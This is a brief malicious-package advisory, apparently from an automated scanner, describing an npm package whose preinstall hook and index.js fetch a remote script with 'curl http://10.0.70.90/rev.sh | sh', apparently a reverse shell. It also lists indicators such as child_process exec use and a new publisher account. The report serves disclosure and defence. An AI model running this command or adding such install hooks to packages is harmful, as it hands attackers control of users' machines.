GCVE-110-OSM-2026-9993

Malicious package detected. Behaviors: code execution, network activity, install-time execution. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall":"/usr/bin/curl http://10.0.70.90/rev.sh | sh"" DESTINATION - 1 fetched-payload (urls) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in index.js: "curl http://10.0.70.90/rev.sh | sh" - Curl/Wget Pipe to Shell in package.json: "curl http://10.0.70.90/rev.sh | sh" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "child_process").exec" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES index.js